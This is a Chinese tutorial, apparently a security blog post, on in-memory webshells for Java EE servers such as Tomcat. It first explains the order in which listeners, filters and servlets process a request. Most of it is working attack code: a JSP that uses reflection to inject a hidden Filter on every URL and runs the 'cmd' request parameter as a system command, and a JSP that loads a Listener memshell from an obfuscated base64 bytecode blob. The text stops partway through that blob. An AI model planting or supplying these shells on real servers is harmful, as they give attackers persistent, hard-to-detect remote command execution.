Java EE架构内存马

包括Listener型,Filter型,Servlet型内存马,实现了java EE规范的web服务器就包括上述三种概念

各请求处理顺序如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
请求到达

├─ (1) Listener(监听请求/Session创建事件)
│ ├─ ServletRequestListener.requestInitialized()
│ └─ HttpSessionListener.sessionCreated()(如创建新Session)

├─ (2) Filter链(前置处理)
│ ├─ Filter1.doFilter()(前半部分)
│ ├─ Filter2.doFilter()(前半部分)
│ └─ ...

├─ (3) Servlet处理
│ ├─ service() → doGet()/doPost()/...
│ └─ 生成响应

├─ (4) Filter链(后置处理,倒序)
│ ├─ ...
│ ├─ Filter2.doFilter()(后半部分)
│ └─ Filter1.doFilter()(后半部分)

└─ (5) Listener(监听请求/Session销毁事件)
├─ ServletRequestListener.requestDestroyed()
└─ HttpSessionListener.sessionDestroyed()(如Session失效)

环境搭建

使用tomcat8.5.95,JDK 8u391

项目组件选择servlet即可

filter内存马

添加一个filter类型的内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
final String name = "evil";
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("Do Filter ......");
String cmd;
if ((cmd = servletRequest.getParameter("cmd")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}

filterChain.doFilter(servletRequest,servletResponse);
System.out.println("doFilter");
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
/**
* 将filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name,filterConfig);
}
%>

成功执行

Listener内存马

使用JMG生成内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<%
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
try{
classLoader.loadClass("org.apache.commons.lang.n.ThreadUtil").newInstance();
}catch (Exception e){
java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
String bytecodeBase64 = "yv66vgAAADEBjQEAJG9yZy9hcGFjaGUvY29tbW9ucy9sYW5nL24vVGhyZWFkVXRpbAcAAQEAEGphdmEvbGFuZy9PYmplY3QHAAMBAAxnZXRDbGFzc05hbWUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABENvZGUBACRvcmcuanVuaXQuU2VydmxldFJlcXVlc3RGZXpqTGlzdGVuZXIIAAgBAA9nZXRCYXNlNjRTdHJpbmcBAApFeGNlcHRpb25zAQATamF2YS9pby9JT0V4Y2VwdGlvbgcADAEAEGphdmEvbGFuZy9TdHJpbmcHAA4BC8hINHNJQUFBQUFBQUEvNDFYZVZ3VTV4bCtQblpobG1VMWNWRVViWk40dzdLd1NEUWk1RkFVQWdwbzNCU0R4TFRETU1Eb3Vydk96S0xZeHJTcFRaczBUZSttNlgwa3BXMXNxMjFjVktveDlraWIza2Q2MzNmVDl2LytrNmJQTnpNc3NDemlqMldPNzN2ZjUzMi81ejIrYjE3NDM0VkxBRGJnUHdKclV1WlE3R0FtYWRpeHVHNk9KSFI3cjM0a28xdDJtMzc4WUtkaDJYcFNOeFVJZ1NVSDFSRTFsbENUUTdIdENkV3lPbFBxZ0p6eUVVUk9IWXRaTGtBZTBCUklzVURKclFaTjNTN2dxNnJ1RWZCdlR3M29BdGQxR2ttOU8zTzRYemZ2VnZzVEhBbDNwalExMGFPYWhuejNCdjMyc0dFSnJPdThGcCtiUTFBUUNNS1BoUUxMcXpvTGV0OHNuUkNhd05JNTVpWEk5UktrbkhKREpLR3FyNlU2WDdhWmMvMENSWDB0QW1VRCtpQVg0NHdUbHVJZEhiTVZRcWpFY2dtN1F1QjYwM1YrQi8vTjFLZyt3Qlc2N3M3RmFPdUluclFkMTh1dDJSTUNxNjlCbXhSN2RqdklvNkVtak9QU2N2bVVwNjNITkQxdEc2bWtnbFZjdUllcG1hTnBPeFhiYnFTSFNZOUF3TlN0ZENwcE1UejVUZy9iZGpyV3prdk92aXRKTGNYU0xZdlFBamZOcmVSSVVOaVg2ajhvYzhSeExXTWJpVmlYbXBZZzNnSUUxczlyMlJHa3pzcDVtVkZRSzdEMm12QVV4QmlyYTF1MGdnMENOMXg5clFwdUZsZ3dZNWtLTm5Fb2JxdmFJYjU1ZGJCb1NMZG5la0llcTZxdkduV21YQ08yQkZHSEpvSGdzQzZ6dTFzOTdKVGFWTXpqdG1ra2h5aDdLMjRyUlJGWXFLVTAxdTZJNS9KeWhteDFJZld0MkZhR2VzaDZjRTMxcUltTUhzSU9GN2FWV1ordnBlQk9acE9XU3RxcWtXVHBySmhSc3NPcUdaY0xTV3A2Yy9YK0VEcXdNNGgyN0JLb0dKb2l1YzFNSGM0eGN0ZjgrZWd5azAvY25Ia2JRaGU2Zy9SL055bDBZdUFsOGFwWjVNOUs0eER1d2w3SlNaenhtd3B4dTJvTk8yRitUUkE5V0JoQURmTTluYUg3amRQWHY3di9vSzdaemJOSHFtY1BoZENML1dXNEJYMEJyQTFnUFp0VEpvRFhzbjJtMlhwQ1VOMFlzR0VGYU1nSkRDdW9RR1FMV09zSllRQjZHVFppa0g1dWE0MEhNT3cxamJ6V29JQTFXMGFTT3BLV3JUSnNBdFZ6Wms5K1d3a2hnY05CSEFLNXZYR0dnSlhXTldhMlp1cjJMbjAwempjRmFhNkVobHBHYloxNTQ2K3E3bXNKd1lRbEU4UjJlM0FCd3oyeXRZOEVjUVJIcVNSM0pTbmE0VXBhdXBZeERYczBSaU9PNkNpT1MzOWVQeU54WFZZVTNPODY0UFg4OHFwQy9mNEJ2REdJRTNnVEcxbmVwSUkzQ3l5YzFIZjNIWUhLMlNpNUxla3RlQ2lJazNpclRNVnl0MEwzZWhXNmZGTE5TTVZhTW9PRHVxa1B1SFBVZXdSdmx4bjRLSXVtc0l5Q3g1eU9yZzdJRFZsZ2NWWEI2bjRYM2gzRU8vRWVnVkMvYXVtM2JOeWhhODQrWGxFb3dqSWE3OFA3cGJNZllOTWVTTFVaU1RYQm80RGNTdVhrQi9HRTVQWkRJU3hCaFJUN0NETW5xUitkeXB5WmZ1VHkvR1A0dU9UaEU4UmlLYXNKUys3UEJiS1cvZUpUK0xTay8wa1dibTVmbzNneHFXdnJtYmZZQ3JTNm5CTmorS3owK1hOZWQzZG51MVB4akRiY1p1aUpnV25iNk5OTXRCSFYzRFM1NjgwdDIreEsxcy9zenA1TmQyNkRlMnRncWt3VE1mWEJCR1ZpRHB3bnlVMWxVWUVqeTlJNXRCUmttZVVraGxGTnFNd05aMVNnZHA3bVA5TjBDT2R3WGtibkF2Y3YyU3N6YWQzVUVrNEgrcXFzaFpPNG1CZXVHWlg1YkJDbmNKbTZsbTV2MHpUWlJkMHpZTlYrS1hBRlh3dGlIRjluRnlKNDNzNTB0ZDc0VFR3dkZiL0YyTk9iNDhkbFJqclphMDZlY2ZKT1AvSUF3b01aazl2S0pPc09HNVpXMTdJdDNqcVo5R1lBM3lmR1lNcmJUZGZPdzlKa1AvZ2hmaVE1K0RGcnlMWHZWbUlBUDNVTHVrdTNoMU5rZldzQnZMNVplSVhpNENMUTFNL3djMm5xRndMTDVwSlM4Q3NXa1pFY1NSM2lHcllVSUxQdkd2bjlEWDRieEsveE93WEx2RjVaSnplNnVoYW5VUVR3UjNmcnpKSDNaOXAxQ1FqZ3I5U29iOVMyTk5hcjlRMWI5RTJEL1ExYUFIOG52WHQxMmFVby9rKys3RXdjSFVrT2NPWmZXTW5LODRNUThQSEtuWTJmTlVJZVhwejdEdWNlNEpQaVhFdjUxa29Od2Z2U3lEaXVpNFQvY1JaYUpQelNXZHdSQ2YvN0xOck9jS29JUVY1bFVRTVYvRnVLTWo2RlhEWGVGempnL0M3d0lQZFFVc291aTlTTVkvSDhtTXVKc3NMQnJIRDFQRXo1dEFoaG9nclpDVDMwMjdoQUtWVWFxZkhWWEJySHEwN240RW9jbDI2Y0JsV2FneXFsa1dVTzFLdHhnd2UxeWRHazgyZnlJTlpNZ3hBNUNPNjl1TW1CV0RrSklaNmtoc0s1S3pWWk5GOUdmVmMwOGd6dU9JL3RSYXlzcDZkZStOQ1dSZWNUZUR3U0hjZWU3dWg1M0MzUTVKOUFUKzg0OWpVVlZ4YUg3K0hndlQ3czQrT0IydHpqZlpWKzc5a2ZmaDFodFBNWThpRnNuRU9xcWFTeXBIZ0NSM3JsY0JhWnNER09ZMW04WVFKRnZaRXNIc3ppYmVONHVMSWtRdUIzQ0dUeDNpd2V6K0xEV1h3MGkwOVdGbWZ4MUw0eEZEZVZqTUhmZlVhZWdkaWtKckNheVhFUmwzbjNPWnkwTVFyQWVvNVc4eStDR0dxd0dWRWVhbXV4aXdmb0hvNzA4K3M1aFFhTTRHWTh5dVBRT1o2M0prandSVFFScVJIUE1Ra2xwKzN5a0lFV0lxNGhjekU4aHJWWVJ6dWI4UkF0VkRHMlczRy9ZNlZZc3Byai9vckhmUUFYYUQxS1h6ZHpkQjM4cjlCTWlZSWlCWFVLNmhVMEtOaW8wTGhRc1BxL0VDMjh5ZGp5b01yclo2Z2p5Mk8xRS81MmprZ3JVZEZWRTc3bkhENGZQc0RMWlRSMGphR3l1MmJhVzZESlB3WWZmOUhUVG00dndtSmlMS0ZQcXlROHZlV3V4M0dKK2lKWEkxRWJSWmVNUVhkdCtNUlRxS2hsZmt3UWFVR1R2emFMUzkxanI3d1VmUjZoQ1p6cVpaRTg5MnpVbjhVM29sVDQ5bW42dHdEbHpMNVRIdjhOWkFIWVR2d2RaSytOcysyYzc2REVUcWIwTGlaMEo3blpUVWIzTUNKN0tSOTN1TjVJUDVieC93djRJbGROai9BbG5IYlliTVFaMWhHLzBFblVsL0VWM3ZrNWhtZHcxb2tFdUQ3L3kxQVVqQ3M0MmEzZ1ZHbG9HblZDbmw2OHhiN01JTXJGam9aL2NBNC82WXFHWC9SZnhNbGVYN2c5bnNVdm84d3l2cC9vOWRYdzlmZVg4WWZjNzNSWCtFL1VJRHQvOFZHRHdvTDNFNVJxOGxlU2l3ZkRmNXVPVk9tZkM4ZXAxM3A2UDVtdHkra1NlT1F2d1g2TzlwR05lN25lQStUb1BvZVYyemxUd2h4Nmdhc3Q0c3cyNThuSCtWcDhoL3o0cVhFbk9mdXVVLzJqdVF3Y3hmY2N6amE3WGVLSVRLd3BVdkIvOHpQQ1hrUVNBQUE9CAAQAQAGPGluaXQ+AQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAASABMKAA8AFAEAAygpVgEAE2phdmEvbGFuZy9FeGNlcHRpb24HABcBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAhsaXN0ZW5lcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAB2NvbnRleHQBAAhjb250ZXh0cwEAEExqYXZhL3V0aWwvTGlzdDsBAAR0aGlzAQAmTG9yZy9hcGFjaGUvY29tbW9ucy9sYW5nL24vVGhyZWFkVXRpbDsBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAkTGphdmEvdXRpbC9MaXN0PExqYXZhL2xhbmcvT2JqZWN0Oz47AQAOamF2YS91dGlsL0xpc3QHACQBABJqYXZhL3V0aWwvSXRlcmF0b3IHACYBAA1TdGFja01hcFRhYmxlDAASABYKAAQAKQEAD2J5cGFzc0pES01vZHVsZQwAKwAWCgACACwBAApnZXRDb250ZXh0AQASKClMamF2YS91dGlsL0xpc3Q7DAAuAC8KAAIAMAEACGl0ZXJhdG9yAQAWKClMamF2YS91dGlsL0l0ZXJhdG9yOwwAMgAzCwAlADQBAAdoYXNOZXh0AQADKClaDAA2ADcLACcAOAEABG5leHQBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwwAOgA7CwAnADwBAAtnZXRMaXN0ZW5lcgEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7DAA+AD8KAAIAQAEAC2FkZExpc3RlbmVyAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvT2JqZWN0OylWDABCAEMKAAIARAEABGtleTEBAAhjaGlsZHJlbgEAE0xqYXZhL3V0aWwvSGFzaE1hcDsBAANrZXkBAAtjaGlsZHJlbk1hcAEABnRocmVhZAEAEkxqYXZhL2xhbmcvVGhyZWFkOwEAAWUBABVMamF2YS9sYW5nL0V4Y2VwdGlvbjsBAAd0aHJlYWRzAQATW0xqYXZhL2xhbmcvVGhyZWFkOwcAUAEAEGphdmEvbGFuZy9UaHJlYWQHAFIBABFqYXZhL3V0aWwvSGFzaE1hcAcAVAEAE2phdmEvdXRpbC9BcnJheUxpc3QHAFYKAFcAKQEACmdldFRocmVhZHMIAFkBAAxpbnZva2VNZXRob2QBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWwBcCgACAF0BAAdnZXROYW1lDABfAAYKAFMAYAEAHENvbnRhaW5lckJhY2tncm91bmRQcm9jZXNzb3IIAGIBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgwAZABlCgAPAGYBAAZ0YXJnZXQIAGgBAAVnZXRGVgwAagBcCgACAGsBAAZ0aGlzJDAIAG0IAEcBAAZrZXlTZXQBABEoKUxqYXZhL3V0aWwvU2V0OwwAcABxCgBVAHIBAA1qYXZhL3V0aWwvU2V0BwB0CwB1ADQBAANnZXQMAHcAPwoAVQB4AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7DAB6AHsKAAQAfAEAD2phdmEvbGFuZy9DbGFzcwcAfgoAfwBgAQAPU3RhbmRhcmRDb250ZXh0CACBAQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaDACDAIQLACUAhQEAFVRvbWNhdEVtYmVkZGVkQ29udGV4dAgAhwEAFWdldENvbnRleHRDbGFzc0xvYWRlcgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsMAIkAigoAUwCLAQAIdG9TdHJpbmcMAI0ABgoAfwCOAQAZUGFyYWxsZWxXZWJhcHBDbGFzc0xvYWRlcggAkAEAH1RvbWNhdEVtYmVkZGVkV2ViYXBwQ2xhc3NMb2FkZXIIAJIBAAlyZXNvdXJjZXMIAJQIAB0BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgcAlwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgwAEgCZCgCYAJoBACBqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbgcAnAEAH2phdmEvbGFuZy9Ob1N1Y2hNZXRob2RFeGNlcHRpb24HAJ4BACtqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uVGFyZ2V0RXhjZXB0aW9uBwCgAQAJU2lnbmF0dXJlAQAmKClMamF2YS91dGlsL0xpc3Q8TGphdmEvbGFuZy9PYmplY3Q7PjsBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwCkAQAJY2xhenpCeXRlAQACW0IBAAtkZWZpbmVDbGFzcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAFY2xhenoBABFMamF2YS9sYW5nL0NsYXNzOwEAC2NsYXNzTG9hZGVyAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIHAK4BAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsMALAAsQoAUwCyAQAOZ2V0Q2xhc3NMb2FkZXIMALQAigoAfwC1DAAFAAYKAAIAtwEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsMALkAugoArwC7AQALbmV3SW5zdGFuY2UMAL0AOwoAfwC+DAAKAAYKAAIAwAEADGRlY29kZUJhc2U2NAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IMAMIAwwoAAgDEAQAOZ3ppcERlY29tcHJlc3MBAAYoW0IpW0IMAMYAxwoAAgDICACoBwCnAQARamF2YS9sYW5nL0ludGVnZXIHAMwBAARUWVBFDADOAKsJAM0AzwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwA0QDSCgB/ANMBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QHANUBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgwA1wDYCgDWANkBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwwA2wDcCgDNAN0BAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsMAN8A4AoA1gDhAQAHb2JqZWN0cwEAE1tMamF2YS9sYW5nL09iamVjdDsBAAlsaXN0ZW5lcnMBAAlhcnJheUxpc3QBABVMamF2YS91dGlsL0FycmF5TGlzdDsBAAppc0luamVjdGVkAQAnKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylaDADoAOkKAAIA6gEAG2FkZEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcggA7AEAXShMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzcztbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwwAWwDuCgACAO8BABxnZXRBcHBsaWNhdGlvbkV2ZW50TGlzdGVuZXJzCADxBwDkAQAQamF2YS91dGlsL0FycmF5cwcA9AEABmFzTGlzdAEAJShbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL3V0aWwvTGlzdDsMAPYA9woA9QD4AQAZKExqYXZhL3V0aWwvQ29sbGVjdGlvbjspVgwAEgD6CgBXAPsKAFcAhQEAHHNldEFwcGxpY2F0aW9uRXZlbnRMaXN0ZW5lcnMIAP4BAAd0b0FycmF5AQAVKClbTGphdmEvbGFuZy9PYmplY3Q7DAEAAQEKAFcBAgEAAWkBAAFJAQANZXZpbENsYXNzTmFtZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEABHNpemUBAAMoKUkMAQgBCQoAVwEKAQAVKEkpTGphdmEvbGFuZy9PYmplY3Q7DAB3AQwKAFcBDQEADGRlY29kZXJDbGFzcwEAB2RlY29kZXIBAAdpZ25vcmVkAQAJYmFzZTY0U3RyAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBABZzdW4ubWlzYy5CQVNFNjREZWNvZGVyCAEUAQAHZm9yTmFtZQwBFgC6CgB/ARcBAAxkZWNvZGVCdWZmZXIIARkBAAlnZXRNZXRob2QMARsA0goAfwEcAQAQamF2YS51dGlsLkJhc2U2NAgBHgEACmdldERlY29kZXIIASABAAZkZWNvZGUIASIBACBqYXZhL2xhbmcvQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbgcBJAEADmNvbXByZXNzZWREYXRhAQADb3V0AQAfTGphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtOwEAAmluAQAeTGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW07AQAGdW5nemlwAQAfTGphdmEvdXRpbC96aXAvR1pJUElucHV0U3RyZWFtOwEABmJ1ZmZlcgEAAW4BAB1qYXZhL2lvL0J5dGVBcnJheU91dHB1dFN0cmVhbQcBLwEAHGphdmEvaW8vQnl0ZUFycmF5SW5wdXRTdHJlYW0HATEBAB1qYXZhL3V0aWwvemlwL0daSVBJbnB1dFN0cmVhbQcBMwoBMAApAQAFKFtCKVYMABIBNgoBMgE3AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWDAASATkKATQBOgEABHJlYWQBAAUoW0IpSQwBPAE9CgE0AT4BAAV3cml0ZQEAByhbQklJKVYMAUABQQoBMAFCAQALdG9CeXRlQXJyYXkBAAQoKVtCDAFEAUUKATABRgEAA29iagEACWZpZWxkTmFtZQEABWZpZWxkAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEABGdldEYBAD8oTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsMAUwBTQoAAgFOAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQHAVAKAVEA2QoBUQB4AQAeamF2YS9sYW5nL05vU3VjaEZpZWxkRXhjZXB0aW9uBwFUAQAgTGphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbjsBABBnZXREZWNsYXJlZEZpZWxkAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7DAFXAVgKAH8BWQEADWdldFN1cGVyY2xhc3MMAVsAewoAfwFcCgFVABQBAAx0YXJnZXRPYmplY3QBAAptZXRob2ROYW1lAQAHbWV0aG9kcwEAG1tMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAIUxqYXZhL2xhbmcvTm9TdWNoTWV0aG9kRXhjZXB0aW9uOwEAIkxqYXZhL2xhbmcvSWxsZWdhbEFjY2Vzc0V4Y2VwdGlvbjsBAApwYXJhbUNsYXp6AQASW0xqYXZhL2xhbmcvQ2xhc3M7AQAFcGFyYW0BAAZtZXRob2QBAAl0ZW1wQ2xhc3MHAWIBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwwBawFsCgB/AW0KANYAYAEABmVxdWFscwwBcACECgAPAXEBABFnZXRQYXJhbWV0ZXJUeXBlcwEAFCgpW0xqYXZhL2xhbmcvQ2xhc3M7DAFzAXQKANYBdQoAnwAUAQAKZ2V0TWVzc2FnZQwBeAAGCgCdAXkKAJgAFAEACDxjbGluaXQ+CgACACkBAA9zdW4ubWlzYy5VbnNhZmUIAX4BAAl0aGVVbnNhZmUIAYABAAlnZXRNb2R1bGUIAYIBABFvYmplY3RGaWVsZE9mZnNldAgBhAEABm1vZHVsZQgBhgEAD2dldEFuZFNldE9iamVjdAgBiAEADmphdmEvbGFuZy9Mb25nBwGKCQGLAM8AIQACAAQAAAAAAA8AAQAFAAYAAQAHAAAAEAABAAEAAAAEEwAJsAAAAAAAAQAKAAYAAgALAAAABAABAA0ABwAAABcAAwABAAAAC7sAD1kTABG3ABWwAAAAAAABABIAFgAB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